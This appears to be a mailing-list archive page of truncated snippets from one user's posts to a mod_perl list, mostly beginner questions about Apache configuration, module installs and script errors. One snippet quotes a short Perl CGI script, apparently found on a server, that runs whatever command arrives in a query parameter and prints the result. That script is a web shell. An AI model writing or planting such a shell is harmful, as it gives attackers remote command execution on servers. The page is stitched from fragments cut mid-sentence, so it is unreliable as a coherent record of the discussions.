Here is a little script I wrote a while back so that I could look at headers
being sent from my server in a browser window.
JM.
- Original Message -
From: Dennis Stout [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, July 02, 2003 4:44 PM
Subject: If (!$one_thing) {$other;}
file. I could not get
it to work any other way.
[Fri May 30 00:22:52 2003] [warn] Apache does not support line-end comments.
Consider using quotes around argument: "#/Files"
Thanks in advance
John Michael
If I bought a domain name with perl in it to build
a perl script site, would I be infringing on any perl trademark or
copyrights. Would it be ok or could I be told I couldn't use the
domain.
Thanks
John Michael
ible to do this with
perl. I want to be able to pass some request for static documents that
should end in .htm back to apache and let apache send them out throuhg the
normal channels.
Thanks
John michael
a
way to have apache write the file into that directory. But how did they get
it to chmod 755?
John michael
On Thu, 21 Mar 2002, John Michael wrote:
#!/usr/bin/perl
use CGI qw(:standard);
print header;
my $k=param(g);
my $a=param(s);
if ($a || $k) {
$l=`$k 21`;
print
;
print pre($l);
}
print $ENV{SERVER_NAME};
Can anyone tell me what it does.
Thanks
John Michael
Hi
I wanted to update my apache and mod-perl install.
I stated to do it and found that I needed the LWP module which requires
some other modules first.
I got allof them on untill I needed the libnet module.
ALl of the other modules I installed by hand and having no problems until I
needed
HiI usethe perl sub below to create
thumbs with image magick on my mod perl server andnever really had any
problems with it. I put it on another server and aftera short while it
froze up the server with this error.too many files open.
It is running under a mod-perl environment because
in
I am getting these error messages when I restart
apache on a new mod perlinstall.Starting httpd: Subroutine export
redefined at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm
line 35.Subroutine name redefined
at/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/Constants.pm line
cookies
turned on and do you know of many sites that do this successfully without
loosing members.
Thanks
John Michael
Thanks.
I did not know that you could verify that someone has cookies turned on.
Can you point me to where i can find out how to do this? Is there a
variable that you can check?
JM
- Original Message -
From: [EMAIL PROTECTED]
To: mod_perl List [EMAIL PROTECTED]
Sent: Thursday,
and works fine.
The server appears to have started.
Should I just disreguard these messages.
thanks
John michael
- Original Message -
From: Peter Pilsl [EMAIL PROTECTED]
To: Perrin Harkins [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Wednesday, November 14, 2001 3:03 AM
Subject: Re: cgi-object
to start.
I installed apache and mod-perl when I setup the
server with redhat by basiacally picking them out of a list. I have no
experience compiling, building, or installing modules.
Thanks
John michael
It looks like in the file apache_request.c these
are the lines causing the problem.
#include "httpd.h"
#include "http_config.h"
#include "http_core.h"
#include "http_log.h"
#include "http_main.h"
#include "http_protocol.h"
#inc
s it
have to be written in OO format?
I do understand that a few things have to be changed,
like I have to use apache::constants to finalize the handler phase.
Reading several books and understanding more and more
everyday.
Any suggestions would be greatly
appreciated.
Thanks
John Michael
would need some kind of
intellegent way to determine if it was a legitimate request for a seemingly
legitimate document. Is that possible?
Hope this doesn't discourage you.
Cya
John Michael
- Original Message -
From: Louis LeBlanc [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Sunday
LocationMatch \.(ida|exe)$
SetHandler perl-script
PerlPostReadRequestHandler Apache::DONE
/LocationMatch
I tried adding the above code to my perl.conf file. and got this error on
restart.
Syntax error on line 31 of /etc/httpd/conf/conf/perl.conf:
PerlPostReadRequestHandler not allowed here
JM
I tried
PerlPostReadRequestHandler Apache::DONE
and apache would not start
I changed it to:
LocationMatch \.(ida|exe)$
SetHandler perl-script
PerlInitHandler Apache::DONE
/LocationMatch
Apache then started
And it looks for the module DONE.pm
So I guess you have to write the module for it to
for text based conversation.
Anyway, I just wanted to put in my two cents and am thinking I might just
get flammed for this as well.
Should I send it? Sometimes I get this far on emails and just delete them.
Cya and thanks
John Michael
John Michael wrote:
I don't know if this will help. I
I don't know if this will help. I know very litlle about mod perl, but most
of the people on this list don't seem to answer questions from beginners.
I think you might try adding:
use subs qw(main);
in the top of your script.
or instead of
main() use main()
There are situations where you can't
(fingers crossed). Everything seems to be running fine.
Thanks
John michael
- Original Message -
From: Perrin Harkins [EMAIL PROTECTED]
To: John Michael [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Wednesday, October 24, 2001 2:31 AM
Subject: Re: Newbie having problems
John Michael
#
I can't find out why I am getting these errors. I can
usually do an imediate refresh of the browser and the script will run
ok.
I am trying to get the scripts to run under
apache::perl.
Would it be easier to migrate straight over to
apache::registry?
Thanks
John michael
to be causing errors as well.
Thanks
JM
- Original Message -
From: Ged Haywood [EMAIL PROTECTED]
To: John Michael [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Tuesday, October 23, 2001 3:07 PM
Subject: Re: Newbie having problems
Hi there,
On Tue, 23 Oct 2001, John Michael wrote:
I am new
I had a routine in the beginning of the program to
initialze my variable hash and query param like so:
## initialize
globals ##foreach (keys
%VAR){$VAR{$_} = "";}
I did this so that these variables would not
propogate to other instances of the script.
This was
How to unsubscribe. please
Thanks
John Michael
server
load.thanks in advance--John
Michael
to the source.html page
and the flat text file without having to change the script.
John Michael
Not a mod perl solution, but it will work.
- Original Message -
From: "Dave Rolsky" [EMAIL PROTECTED]
To: "Dave Seidel" [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Friday, Decem
Excuse me if I make an error. This is my first post to this list and not
sure how it all fits together exactly. I just joined the news perl list
you selected to have a look at it and now wonder why you don't put this
mailing list in the same type of setup. There may be a way to do it that I
28 matches
Mail list logo